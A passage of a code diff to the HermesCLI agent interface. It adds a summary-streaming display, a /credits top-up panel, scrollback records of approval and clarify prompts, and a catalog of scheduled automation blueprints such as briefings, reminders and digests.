# One-shot agent seed set by a slash handler (e.g. /blueprint <name>)
|
||||
# that wants its output run as the next agent turn. Consumed and cleared
|
||||
# by the interactive loop immediately after process_command() returns.
|
||||
self._pending_agent_seed = None
|
||||
self._secret_state = None
|
||||
self._secret_deadline = 0
|
||||
self._spinner_text: str = "" # thinking spinner text for TUI
|
||||
@@ -4656,6 +4670,55 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
self._deferred_content = ""
|
||||
self._emit_stream_text(deferred)
|
||||
|
||||
# ── Web-extract summary streaming (reasoning-style box) ─────────────
|
||||
|
||||
def _on_summary_stream(self, event: str, **kwargs) -> None:
|
||||
"""Render web_extract summarization tokens in a dim live box.
|
||||
|
||||
Mirrors the reasoning-box UX: opens a dim 'Summarizing' box when the
|
||||
summarizer LLM starts streaming, streams its tokens line-by-line,
|
||||
and closes the box with a char count when done. Registered with
|
||||
tools.summary_display; called from the summarizer's event loop
|
||||
thread, so output goes through _cprint (patch_stdout-safe).
|
||||
"""
|
||||
try:
|
||||
if event == "start":
|
||||
url = kwargs.get("url", "")
|
||||
w = self._scrollback_box_width()
|
||||
label = " Summarizing "
|
||||
if url:
|
||||
short = url if len(url) <= w - 20 else url[: w - 23] + "..."
|
||||
label = f" Summarizing · {short} "
|
||||
fill = w - 2 - len(label)
|
||||
_cprint(f"\n{_DIM}┌─{label}{'─' * max(fill - 1, 0)}┐{_RST}")
|
||||
self._summary_box_opened = True
|
||||
self._summary_buf = ""
|
||||
elif event == "delta":
|
||||
if not getattr(self, "_summary_box_opened", False):
|
||||
return
|
||||
self._summary_buf = getattr(self, "_summary_buf", "") + kwargs.get("text", "")
|
||||
while "\n" in self._summary_buf:
|
||||
line, self._summary_buf = self._summary_buf.split("\n", 1)
|
||||
_cprint(f"{_DIM}{line}{_RST}")
|
||||
if len(self._summary_buf) > 80:
|
||||
_cprint(f"{_DIM}{self._summary_buf}{_RST}")
|
||||
self._summary_buf = ""
|
||||
elif event == "end":
|
||||
if not getattr(self, "_summary_box_opened", False):
|
||||
return
|
||||
buf = getattr(self, "_summary_buf", "")
|
||||
if buf:
|
||||
_cprint(f"{_DIM}{buf}{_RST}")
|
||||
self._summary_buf = ""
|
||||
w = self._scrollback_box_width()
|
||||
chars = kwargs.get("char_count", 0)
|
||||
tail = f" {chars:,} chars " if kwargs.get("ok") else " summarization fell back "
|
||||
fill = w - 2 - len(tail)
|
||||
_cprint(f"{_DIM}└{'─' * max(fill - 1, 0)}{tail}┘{_RST}")
|
||||
self._summary_box_opened = False
|
||||
except Exception:
|
||||
logger.debug("Summary stream render failed", exc_info=True)
|
||||
|
||||
def _stream_delta(self, text) -> None:
|
||||
"""Line-buffered streaming callback for real-time token rendering.
|
||||
|
||||
@@ -7409,6 +7472,10 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
self.save_conversation()
|
||||
elif canonical == "cron":
|
||||
self._handle_cron_command(cmd_original)
|
||||
elif canonical == "suggestions":
|
||||
self._handle_suggestions_command(cmd_original)
|
||||
elif canonical == "blueprint":
|
||||
self._handle_blueprint_command(cmd_original)
|
||||
elif canonical == "curator":
|
||||
self._handle_curator_command(cmd_original)
|
||||
elif canonical == "kanban":
|
||||
@@ -7440,6 +7507,8 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
self._manual_compress(cmd_original)
|
||||
elif canonical == "usage":
|
||||
self._show_usage()
|
||||
elif canonical == "credits":
|
||||
self._show_credits()
|
||||
elif canonical == "insights":
|
||||
self._show_insights(cmd_original)
|
||||
elif canonical == "copy":
|
||||
@@ -8341,6 +8410,86 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
print(f" {line}")
|
||||
return True
|
||||
|
||||
def _show_credits(self):
|
||||
"""`/credits` — focused Nous credit balance + top-up handoff.
|
||||
|
||||
Interactive CLI: balance block + identity line + a 3-button panel
|
||||
(Open top-up / Copy link / Cancel). Non-interactive contexts — the TUI
|
||||
slash-worker subprocess and any place without a live prompt_toolkit app
|
||||
(``self._app is None``) — render a text variant (balance + tappable
|
||||
top-up URL), because the modal would try to read the RPC stdin and crash
|
||||
the worker. The terminal never confirms or polls payment (billing phase
|
||||
2a). Fail-open: a portal hiccup or logged-out account degrades to a clear
|
||||
message, never a crash.
|
||||
"""
|
||||
from agent.account_usage import build_credits_view
|
||||
|
||||
view = build_credits_view()
|
||||
|
||||
if not view.logged_in:
|
||||
print()
|
||||
print(f" 💳 {_DIM}Not logged into Nous Portal.{_RST}")
|
||||
print(" Run `hermes portal` to log in, then /credits.")
|
||||
return
|
||||
|
||||
print()
|
||||
print(" 💳 Nous credits")
|
||||
print(f" {'─' * 41}")
|
||||
for line in view.balance_lines:
|
||||
# Drop the helper's own "📈 Nous credits" header — we print our own.
|
||||
if line.lstrip().startswith("📈"):
|
||||
continue
|
||||
print(f" {line}")
|
||||
print(f" {'─' * 41}")
|
||||
if view.identity_line:
|
||||
print(f" {view.identity_line}")
|
||||
|
||||
if not view.topup_url:
|
||||
return
|
||||
|
||||
# Non-interactive (TUI slash-worker, piped, no live app): the
|
||||
# prompt_toolkit modal can't run here — it would read the worker's
|
||||
# JSON-RPC stdin and crash the command. Render the text variant: the
|
||||
# tappable URL IS the affordance, same as the messaging surfaces.
|
||||
if not getattr(self, "_app", None):
|
||||
print()
|
||||
print(f" Top up: {view.topup_url}")
|
||||
print(" Complete your top-up in the browser — credits will appear in /credits shortly.")
|
||||
return
|
||||
|
||||
choices = [
|
||||
("open", "Open top-up in browser", "launch the portal billing page"),
|
||||
("copy", "Copy link", "copy the top-up URL to your clipboard"),
|
||||
("cancel", "Cancel", "do nothing"),
|
||||
]
|
||||
raw = self._prompt_text_input_modal(
|
||||
title="💳 Add credits?",
|
||||
detail=f"Top-up page:\n{view.topup_url}",
|
||||
choices=choices,
|
||||
)
|
||||
choice = self._normalize_slash_confirm_choice(raw, choices)
|
||||
|
||||
if choice == "open":
|
||||
opened = False
|
||||
try:
|
||||
import webbrowser
|
||||
|
||||
opened = webbrowser.open(view.topup_url)
|
||||
except Exception:
|
||||
opened = False
|
||||
if not opened:
|
||||
print(f" Open this URL to top up: {view.topup_url}")
|
||||
print()
|
||||
print(" Complete your top-up in the browser — credits will appear in /credits shortly.")
|
||||
elif choice == "copy":
|
||||
try:
|
||||
self._write_osc52_clipboard(view.topup_url)
|
||||
print(f" 📋 Copied: {view.topup_url}")
|
||||
except Exception:
|
||||
print(f" Top-up URL: {view.topup_url}")
|
||||
else:
|
||||
print(" 🟡 Cancelled. No credits added.")
|
||||
|
||||
def _show_insights(self, command: str = "/insights"):
|
||||
"""Show usage insights and analytics from session history."""
|
||||
# Parse optional --days flag
|
||||
@@ -9353,6 +9502,25 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
for line in reqs["details"].split("\n"):
|
||||
_cprint(f" {line}")
|
||||
|
||||
def _persist_prompt_summary(self, icon: str, label: str, detail: str, outcome: str) -> None:
|
||||
"""Print a one-line scrollback summary of a resolved modal prompt.
|
||||
|
||||
Modal panels (approval / clarify) live in the prompt_toolkit layout and
|
||||
vanish on the next repaint, so the question and the decision leave no
|
||||
trace in the terminal scrollback. When display.persist_prompts is on
|
||||
(default), emit a dim single line after the prompt resolves so the
|
||||
decision survives in chat history.
|
||||
"""
|
||||
if not CLI_CONFIG.get("display", {}).get("persist_prompts", True):
|
||||
return
|
||||
detail = " ".join(detail.split())
|
||||
if len(detail) > 120:
|
||||
detail = detail[:119] + "…"
|
||||
outcome = " ".join(outcome.split())
|
||||
if len(outcome) > 120:
|
||||
outcome = outcome[:119] + "…"
|
||||
_cprint(f"\n{_DIM}{icon} {label}: {detail} → {outcome}{_RST}")
|
||||
|
||||
def _clarify_callback(self, question, choices):
|
||||
"""
|
||||
Platform callback for the clarify tool. Called from the agent thread.
|
||||
@@ -9392,6 +9560,7 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
try:
|
||||
result = response_queue.get(timeout=1)
|
||||
self._clarify_deadline = 0
|
||||
self._persist_prompt_summary("?", "Clarify", question, str(result))
|
||||
return result
|
||||
except queue.Empty:
|
||||
remaining = self._clarify_deadline - _time.monotonic()
|
||||
@@ -9505,6 +9674,16 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
self._approval_state = None
|
||||
self._approval_deadline = 0
|
||||
self._paint_now()
|
||||
_outcome_labels = {
|
||||
"once": "allowed once",
|
||||
"session": "allowed for session",
|
||||
"always": "added to allowlist",
|
||||
"deny": "denied",
|
||||
}
|
||||
self._persist_prompt_summary(
|
||||
"⚠", "Approval", command,
|
||||
_outcome_labels.get(result, str(result)),
|
||||
)
|
||||
return result
|
||||
except queue.Empty:
|
||||
remaining = self._approval_deadline - _time.monotonic()
|
||||
@@ -9621,7 +9800,7 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
show_full = state.get("show_full", False)
|
||||
|
||||
title = "⚠️ Dangerous Command"
|
||||
cmd_display = command if show_full or len(command) <= 70 else command[:70] + '...'
|
||||
cmd_display = command
|
||||
choice_labels = {
|
||||
"once": "Allow once",
|
||||
"session": "Allow for this session",
|
||||
@@ -9645,6 +9824,11 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
|
||||
# Pre-wrap the mandatory content — command + choices must always render.
|
||||
cmd_wrapped = _wrap_panel_text(cmd_display, inner_text_width)
|
||||
if not show_full and "view" in choices and len(cmd_wrapped) > 4:
|
||||
cmd_wrapped = cmd_wrapped[:3] + _wrap_panel_text(
|
||||
"… (choose Show full command)",
|
||||
inner_text_width,
|
||||
)
|
||||
|
||||
# (choice_index, wrapped_line) so we can re-apply selected styling below
|
||||
choice_wrapped: list[tuple[int, str]] = []
|
||||
@@ -9694,7 +9878,10 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
max_cmd_rows = max(1, available - chrome_rows - len(choice_wrapped))
|
||||
if len(cmd_wrapped) > max_cmd_rows:
|
||||
keep = max(1, max_cmd_rows - 1) if max_cmd_rows > 1 else 1
|
||||
cmd_wrapped = cmd_wrapped[:keep] + ["… (command truncated — use /logs or /debug for full text)"]
|
||||
cmd_wrapped = cmd_wrapped[:keep] + _wrap_panel_text(
|
||||
"… (command truncated — use /logs or /debug for full text)",
|
||||
inner_text_width,
|
||||
)
|
||||
|
||||
# Allocate any remaining rows to description. The extra -1 in full mode
|
||||
# accounts for the blank separator between choices and description.
|
||||
@@ -12827,7 +13014,17 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
# session. Without this guard a KeyboardInterrupt unwinds
|
||||
# to the outer prompt_toolkit loop and the session dies.
|
||||
_cprint("\n[dim]Command interrupted.[/dim]")
|
||||
continue
|
||||
continue
|
||||
# A slash handler may set a one-shot pending seed (e.g.
|
||||
# /blueprint <name>) to be run as the next agent turn.
|
||||
# If present, fall through to the chat path with the seed
|
||||
# as the user message instead of looping back to idle.
|
||||
_seed = getattr(self, "_pending_agent_seed", None)
|
||||
if _seed:
|
||||
self._pending_agent_seed = None
|
||||
user_input = _seed
|
||||
else:
|
||||
continue
|
||||
|
||||
# Expand paste references back to full content
|
||||
_paste_ref_re = re.compile(r'\[Pasted text #\d+: \d+ lines \u2192 (.+?)\]')
|
||||
|
||||
@@ -0,0 +1,713 @@
|
||||
"""Automation Blueprints — parameterized automation blueprints with typed slots.
|
||||
|
||||
A *blueprint* is a one-place definition of an automation that every surface
|
||||
renders natively:
|
||||
|
||||
* Dashboard / GUI app -> a form (one field per slot)
|
||||
* CLI / TUI / messenger -> a pre-filled ``/blueprint`` slash command
|
||||
* Agent -> a seed prompt; it asks for any blank/ambiguous slot
|
||||
* Docs catalog -> a copy-paste command + a ``hermes://`` deep-link
|
||||
|
||||
The single source of truth is the slot schema below. ``blueprint_form_schema``
|
||||
emits what a form renderer needs; ``blueprint_slash_command`` emits the flattened
|
||||
one-line command; ``fill_blueprint`` validates user-supplied values and turns a
|
||||
blueprint into a ``cron.jobs.create_job`` kwargs dict (so there is no second job
|
||||
engine). The form-where-there's-a-screen / agent-fills-where-there's-a-chat
|
||||
split both consume this same module.
|
||||
|
||||
Design choice: users never type raw cron. A blueprint carries a fixed recurrence
|
||||
in ``schedule_template`` and parameterizes only the human-friendly parts
|
||||
(time-of-day, weekday set). Blueprints needing full flexibility expose a ``text``
|
||||
slot named ``schedule`` that passes through verbatim.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
__all__ = [
|
||||
"BlueprintSlot",
|
||||
"AutomationBlueprint",
|
||||
"CATALOG",
|
||||
"get_blueprint",
|
||||
"blueprint_form_schema",
|
||||
"blueprint_slash_command",
|
||||
"blueprint_deeplink",
|
||||
"blueprint_catalog_entry",
|
||||
"fill_blueprint",
|
||||
"BlueprintFillError",
|
||||
"WEEKDAY_PRESETS",
|
||||
]
|
||||
|
||||
|
||||
class BlueprintFillError(ValueError):
|
||||
"""Raised when supplied slot values fail validation."""
|
||||
|
||||
|
||||
# Slot types the renderers understand.
|
||||
_SLOT_TYPES = frozenset({"time", "enum", "text", "weekdays"})
|
||||
|
||||
# Named weekday recurrences -> cron day-of-week field.
|
||||
WEEKDAY_PRESETS: Dict[str, str] = {
|
||||
"everyday": "*",
|
||||
"weekdays": "1-5",
|
||||
"weekends": "0,6",
|
||||
}
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class BlueprintSlot:
|
||||
"""A single fillable field on a blueprint."""
|
||||
|
||||
name: str
|
||||
type: str
|
||||
label: str
|
||||
default: Any = None
|
||||
options: tuple = () # for type="enum": allowed values
|
||||
optional: bool = False
|
||||
help: str = ""
|
||||
# When False, ``options`` are suggestions rather than a closed set —
|
||||
# any value is accepted (e.g. the deliver slot, where the real set of
|
||||
# valid platforms depends on the user's configured gateways and is
|
||||
# validated downstream by the cron scheduler).
|
||||
strict: bool = True
|
||||
|
||||
def __post_init__(self) -> None:
|
||||
if self.type not in _SLOT_TYPES:
|
||||
raise ValueError(f"unknown slot type {self.type!r} (slot {self.name})")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class AutomationBlueprint:
|
||||
"""A parameterized automation blueprint."""
|
||||
|
||||
key: str
|
||||
title: str
|
||||
description: str
|
||||
category: str
|
||||
# Cron expression with ``{slot}`` placeholders, e.g. "{minute} {hour} * * {dow}".
|
||||
# Placeholders are filled from resolved slot values (time -> minute/hour,
|
||||
# weekdays -> dow). A literal cron string with no placeholders = fixed schedule.
|
||||
schedule_template: str
|
||||
# Seed instruction for the agent / the cron job prompt; may contain {slot}s.
|
||||
prompt_template: str
|
||||
slots: List[BlueprintSlot] = field(default_factory=list)
|
||||
deliver_default: str = "origin"
|
||||
skills: tuple = () # skills the job loads before running
|
||||
tags: tuple = ()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Curated in-repo catalog
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_TIME = lambda default="08:00": BlueprintSlot( # noqa: E731 - concise factory
|
||||
name="time", type="time", label="What time?", default=default,
|
||||
help="24h local time, e.g. 08:00",
|
||||
)
|
||||
_DELIVER = BlueprintSlot(
|
||||
name="deliver", type="enum", label="Where to deliver?",
|
||||
default="origin", options=("origin", "local", "telegram", "discord", "email"),
|
||||
optional=False, strict=False,
|
||||
help="origin = the chat you set this up from (or your configured home "
|
||||
"channel when created from the dashboard); local = save only, no message; "
|
||||
"or any connected platform name",
|
||||
)
|
||||
|
||||
|
||||
CATALOG: List[AutomationBlueprint] = [
|
||||
AutomationBlueprint(
|
||||
key="morning-brief",
|
||||
title="Morning briefing",
|
||||
description="A short daily briefing: today's calendar, weather, and "
|
||||
"anything urgent waiting on you.",
|
||||
category="daily",
|
||||
schedule_template="{minute} {hour} * * *",
|
||||
prompt_template=(
|
||||
"Produce a concise morning briefing for the user: today's calendar "
|
||||
"events, the local weather, and any urgent items. Keep it short and "
|
||||
"scannable. If no data sources are connected, give a brief "
|
||||
"good-morning with the date and offer to connect calendar/email."
|
||||
),
|
||||
slots=[_TIME("08:00"), _DELIVER],
|
||||
tags=("daily", "briefing"),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="important-mail",
|
||||
title="Important-mail monitor",
|
||||
description="Check your inbox periodically and ping you ONLY about mail "
|
||||
"that actually needs attention.",
|
||||
category="email",
|
||||
schedule_template="*/{interval_min} * * * *",
|
||||
prompt_template=(
|
||||
"Check the user's inbox for new messages since the last run. Surface "
|
||||
"ONLY mail matching: {criteria}. Score candidates with the urgency "
|
||||
"classifier and deliver only what clears the bar; if nothing does, "
|
||||
"respond with [SILENT]. Requires a connected mail source; if none is "
|
||||
"configured, explain how to connect one and stop."
|
||||
),
|
||||
slots=[
|
||||
BlueprintSlot(
|
||||
name="interval_min", type="enum", label="How often?",
|
||||
default="30", options=("15", "30", "60"),
|
||||
help="minutes between checks",
|
||||
),
|
||||
BlueprintSlot(
|
||||
name="criteria", type="text",
|
||||
label="Only notify me if the mail…",
|
||||
default="needs a reply today, is from my manager or family, "
|
||||
"or mentions a deadline",
|
||||
),
|
||||
_DELIVER,
|
||||
],
|
||||
tags=("email", "monitor"),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="weekly-review",
|
||||
title="Weekly review",
|
||||
description="A weekly recap: what got done, what's still open, and "
|
||||
"what's coming up.",
|
||||
category="weekly",
|
||||
schedule_template="{minute} {hour} * * {dow}",
|
||||
prompt_template=(
|
||||
"Produce a weekly review for the user: what was accomplished this "
|
||||
"week, still-open items, and next week's calendar. Pull from "
|
||||
"connected sources. Keep it tight."
|
||||
),
|
||||
slots=[
|
||||
_TIME("18:00"),
|
||||
BlueprintSlot(
|
||||
name="day", type="enum", label="Which day?",
|
||||
default="sunday",
|
||||
options=("sunday", "monday", "friday", "saturday"),
|
||||
),
|
||||
_DELIVER,
|
||||
],
|
||||
tags=("weekly", "review"),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="workday-start",
|
||||
title="Workday start reminder",
|
||||
description="A weekday nudge with your agenda and top priorities.",
|
||||
category="daily",
|
||||
schedule_template="{minute} {hour} * * 1-5",
|
||||
prompt_template=(
|
||||
"Give the user a brief weekday start-of-day nudge: today's calendar "
|
||||
"and the 1-3 highest-priority things to focus on, inferred from "
|
||||
"recent context and any task tools. Encouraging, short, one message."
|
||||
),
|
||||
slots=[_TIME("09:00"), _DELIVER],
|
||||
tags=("daily", "focus"),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="custom-reminder",
|
||||
title="Custom reminder",
|
||||
description="A recurring reminder in your own words, on your schedule.",
|
||||
category="general",
|
||||
schedule_template="{minute} {hour} * * {dow}",
|
||||
prompt_template="Remind the user: {what}",
|
||||
slots=[
|
||||
BlueprintSlot(name="what", type="text", label="Remind me to…",
|
||||
default="take a break and stretch"),
|
||||
_TIME("14:00"),
|
||||
BlueprintSlot(
|
||||
name="recurrence", type="weekdays", label="Repeat on",
|
||||
default="everyday",
|
||||
options=tuple(WEEKDAY_PRESETS.keys()),
|
||||
),
|
||||
_DELIVER,
|
||||
],
|
||||
tags=("reminder",),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="evening-winddown",
|
||||
title="Evening wind-down",
|
||||
description="An end-of-day check-in: tomorrow's calendar at a glance "
|
||||
"and anything you should prep tonight.",
|
||||
category="daily",
|
||||
schedule_template="{minute} {hour} * * *",
|
||||
prompt_template=(
|
||||
"Give the user a short evening wind-down: tomorrow's calendar, any "
|
||||
"early commitments to prep for, and one gentle nudge to wrap up "
|
||||
"loose ends from today. Keep it calm and brief — one message. If no "
|
||||
"calendar is connected, just offer a friendly sign-off and the "
|
||||
"weather for tomorrow."
|
||||
),
|
||||
slots=[_TIME("21:00"), _DELIVER],
|
||||
tags=("daily", "evening"),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="news-digest",
|
||||
title="Topic news digest",
|
||||
description="A recurring digest on a topic you care about — deduped "
|
||||
"against what was already sent, so only genuinely new items land.",
|
||||
category="general",
|
||||
schedule_template="{minute} {hour} * * {dow}",
|
||||
prompt_template=(
|
||||
"Search the web for new and noteworthy items about: {topic}. "
|
||||
"Dedupe against what you sent in previous runs — only include "
|
||||
"genuinely new developments. Deliver a tight digest of at most "
|
||||
"{count} bullets, each one line with a link. If nothing new since "
|
||||
"last run, respond with [SILENT]."
|
||||
),
|
||||
slots=[
|
||||
BlueprintSlot(
|
||||
name="topic", type="text", label="What topic?",
|
||||
default="AI and technology",
|
||||
help="a subject, product, person, or search phrase",
|
||||
),
|
||||
_TIME("18:00"),
|
||||
BlueprintSlot(
|
||||
name="recurrence", type="weekdays", label="Repeat on",
|
||||
default="weekdays",
|
||||
options=tuple(WEEKDAY_PRESETS.keys()),
|
||||
),
|
||||
BlueprintSlot(
|
||||
name="count", type="enum", label="How many bullets?",
|
||||
default="5", options=("3", "5", "8"),
|
||||
),
|
||||
_DELIVER,
|
||||
],
|
||||
tags=("digest", "research"),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="bill-renewal-watch",
|
||||
title="Bills & renewals reminder",
|
||||
description="A heads-up before a recurring payment, subscription "
|
||||
"renewal, or due date — so nothing auto-charges by surprise.",
|
||||
category="general",
|
||||
schedule_template="{minute} {hour} * * {dow}",
|
||||
prompt_template=(
|
||||
"Remind the user about an upcoming payment or renewal: {what}. "
|
||||
"Phrase it as an actionable heads-up (e.g. 'review or cancel before "
|
||||
"it renews'), not just a notification. One short message."
|
||||
),
|
||||
slots=[
|
||||
BlueprintSlot(
|
||||
name="what", type="text", label="What's due?",
|
||||
default="my streaming subscription renews soon",
|
||||
),
|
||||
_TIME("10:00"),
|
||||
BlueprintSlot(
|
||||
name="recurrence", type="weekdays", label="Repeat on",
|
||||
default="everyday",
|
||||
options=tuple(WEEKDAY_PRESETS.keys()),
|
||||
),
|
||||
_DELIVER,
|
||||
],
|
||||
tags=("reminder", "finance"),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="habit-checkin",
|
||||
title="Habit check-in",
|
||||
description="A recurring nudge to keep a habit on track and reflect "
|
||||
"on whether you did it.",
|
||||
category="general",
|
||||
schedule_template="{minute} {hour} * * {dow}",
|
||||
prompt_template=(
|
||||
"Nudge the user about their habit: {habit}. Ask whether they did it "
|
||||
"today, keep it warm and non-judgmental, and offer a one-line word "
|
||||
"of encouragement. One short message."
|
||||
),
|
||||
slots=[
|
||||
BlueprintSlot(
|
||||
name="habit", type="text", label="Which habit?",
|
||||
default="20 minutes of reading",
|
||||
),
|
||||
_TIME("20:00"),
|
||||
BlueprintSlot(
|
||||
name="recurrence", type="weekdays", label="Repeat on",
|
||||
default="everyday",
|
||||
options=tuple(WEEKDAY_PRESETS.keys()),
|
||||
),
|
||||
_DELIVER,
|
||||
],
|
||||
tags=("habit", "wellbeing"),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="hydration-move",
|
||||
title="Hydration & movement nudge",
|
||||
description="A periodic nudge during the day to drink water, stand up, "
|
||||
"and stretch.",
|
||||
category="general",
|
||||
# NOTE: cron minute-field steps (*/90) wrap per hour — */90 and */120
|
||||
# both degrade to hourly. Use an hour-field step instead so the chosen
|
||||
# cadence is what actually fires.
|
||||
schedule_template="0 {start_hour}-{end_hour}/{interval_hours} * * 1-5",
|
||||
prompt_template=(
|
||||
"Send the user a brief, friendly nudge to drink some water, stand "
|
||||
"up, and stretch for a moment. Vary the wording each time so it "
|
||||
"doesn't feel robotic. One short line."
|
||||
),
|
||||
slots=[
|
||||
BlueprintSlot(
|
||||
name="interval_hours", type="enum", label="How often?",
|
||||
default="1", options=("1", "2", "3"),
|
||||
help="hours between nudges",
|
||||
),
|
||||
BlueprintSlot(
|
||||
name="start_hour", type="enum", label="Start hour",
|
||||
default="9", options=("7", "8", "9", "10"),
|
||||
help="first hour of the active window (24h)",
|
||||
),
|
||||
BlueprintSlot(
|
||||
name="end_hour", type="enum", label="End hour",
|
||||
default="17", options=("16", "17", "18", "19"),
|
||||
help="last hour of the active window (24h)",
|
||||
),
|
||||
_DELIVER,
|
||||
],
|
||||
tags=("wellbeing", "focus"),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="meal-plan",
|
||||
title="Weekly meal plan",
|
||||
description="A weekly meal plan plus a consolidated grocery list, "
|
||||
"tuned to your diet and how much time you have to cook.",
|
||||
category="weekly",
|
||||
schedule_template="{minute} {hour} * * {dow}",
|
||||
prompt_template=(
|
||||
"Build the user a meal plan for the coming week: {meals} per day, "
|
||||
"suited to a {diet} diet and roughly {effort} cooking effort. "
|
||||
"Include a consolidated grocery list grouped by aisle. Keep blueprints "
|
||||
"simple and skimmable."
|
||||
),
|
||||
slots=[
|
||||
BlueprintSlot(
|
||||
name="diet", type="enum", label="Diet?",
|
||||
default="no restrictions",
|
||||
options=("no restrictions", "vegetarian", "vegan",
|
||||
"high-protein", "low-carb"),
|
||||
),
|
||||
BlueprintSlot(
|
||||
name="meals", type="enum", label="Meals per day?",
|
||||
default="dinner only",
|
||||
options=("dinner only", "lunch and dinner", "all three"),
|
||||
),
|
||||
BlueprintSlot(
|
||||
name="effort", type="enum", label="Cooking effort?",
|
||||
default="quick", options=("quick", "medium", "ambitious"),
|
||||
),
|
||||
_TIME("17:00"),
|
||||
BlueprintSlot(
|
||||
name="day", type="enum", label="Which day?",
|
||||
default="sunday",
|
||||
options=("sunday", "monday", "friday", "saturday"),
|
||||
),
|
||||
_DELIVER,
|
||||
],
|
||||
tags=("weekly", "food"),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="learn-daily",
|
||||
title="Daily learning drip",
|
||||
description="One bite-sized lesson a day on a topic you want to learn, "
|
||||
"building progressively over time.",
|
||||
category="daily",
|
||||
schedule_template="{minute} {hour} * * {dow}",
|
||||
prompt_template=(
|
||||
"Teach the user one bite-sized lesson about: {topic}. Build on "
|
||||
"earlier lessons so it progresses rather than repeating. Keep it to "
|
||||
"a couple of short paragraphs with one concrete example, and end "
|
||||
"with a single question to check understanding."
|
||||
),
|
||||
slots=[
|
||||
BlueprintSlot(
|
||||
name="topic", type="text", label="Learn about…",
|
||||
default="Spanish vocabulary",
|
||||
),
|
||||
_TIME("08:30"),
|
||||
BlueprintSlot(
|
||||
name="recurrence", type="weekdays", label="Repeat on",
|
||||
default="weekdays",
|
||||
options=tuple(WEEKDAY_PRESETS.keys()),
|
||||
),
|
||||
_DELIVER,
|
||||
],
|
||||
tags=("learning", "daily"),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="gratitude-journal",
|
||||
title="Gratitude & reflection prompt",
|
||||
description="A gentle evening prompt to reflect on the day and note "
|
||||
"what went well.",
|
||||
category="general",
|
||||
schedule_template="{minute} {hour} * * {dow}",
|
||||
prompt_template=(
|
||||
"Send the user a short, warm reflection prompt for the end of the "
|
||||
"day — invite them to note one thing that went well, one thing they "
|
||||
"are grateful for, and one small win. If they reply, acknowledge it "
|
||||
"kindly. One message."
|
||||
),
|
||||
slots=[
|
||||
_TIME("21:30"),
|
||||
BlueprintSlot(
|
||||
name="recurrence", type="weekdays", label="Repeat on",
|
||||
default="everyday",
|
||||
options=tuple(WEEKDAY_PRESETS.keys()),
|
||||
),
|
||||
_DELIVER,
|
||||
],
|
||||
tags=("wellbeing", "reflection"),
|
||||
),
|
||||
AutomationBlueprint(
|
||||
key="on-this-day",
|
||||
title="On-this-day discovery",
|
||||
description="A daily dose of curiosity: a notable historical event, "
|
||||
"fact, or word for the day.",
|
||||
category="daily",
|
||||
schedule_template="{minute} {hour} * * *",
|
||||
prompt_template=(
|
||||
"Give the user one interesting '{flavor}' item for today — keep it "
|
||||
"short, surprising, and genuinely interesting. One or two sentences, "
|
||||
"no filler."
|
||||
),
|
||||
slots=[
|
||||
BlueprintSlot(
|
||||
name="flavor", type="enum", label="What kind?",
|
||||
default="on this day in history",
|
||||
options=("on this day in history", "word of the day",
|
||||
"science fact", "quote of the day"),
|
||||
),
|
||||
_TIME("07:30"),
|
||||
_DELIVER,
|
||||
],
|
||||
tags=("daily", "curiosity"),
|
||||
),
|
||||
]
|
||||
|
||||
_CATALOG_BY_KEY = {r.key: r for r in CATALOG}
|
||||
|
||||
|
||||
def get_blueprint(key: str) -> Optional[AutomationBlueprint]:
|
||||
return _CATALOG_BY_KEY.get(key)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Renderers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def blueprint_form_schema(blueprint: AutomationBlueprint) -> Dict[str, Any]:
|
||||
"""Emit the JSON a form renderer (dashboard / GUI) needs for this blueprint."""
|
||||
return {
|
||||
"key": blueprint.key,
|
||||
"title": blueprint.title,
|
||||
"description": blueprint.description,
|
||||
"category": blueprint.category,
|
||||
"tags": list(blueprint.tags),
|
||||
"fields": [
|
||||
{
|
||||
"name": s.name,
|
||||
"type": s.type,
|
||||
"label": s.label,
|
||||
"default": s.default,
|
||||
"options": list(s.options),
|
||||
"optional": s.optional,
|
||||
"strict": s.strict,
|
||||
"help": s.help,
|
||||
}
|
||||
for s in blueprint.slots
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
def blueprint_slash_command(blueprint: AutomationBlueprint, values: Optional[Dict[str, Any]] = None) -> str:
|
||||
"""Build the flattened ``/blueprint <key> slot=val …`` command string.
|
||||
|
||||
Uses each slot's default when ``values`` is omitted, so the docs/dashboard
|
||||
can show a ready-to-paste command. Free-text slots are quoted.
|
||||
"""
|
||||
values = values or {}
|
||||
parts = [f"/blueprint {blueprint.key}"]
|
||||
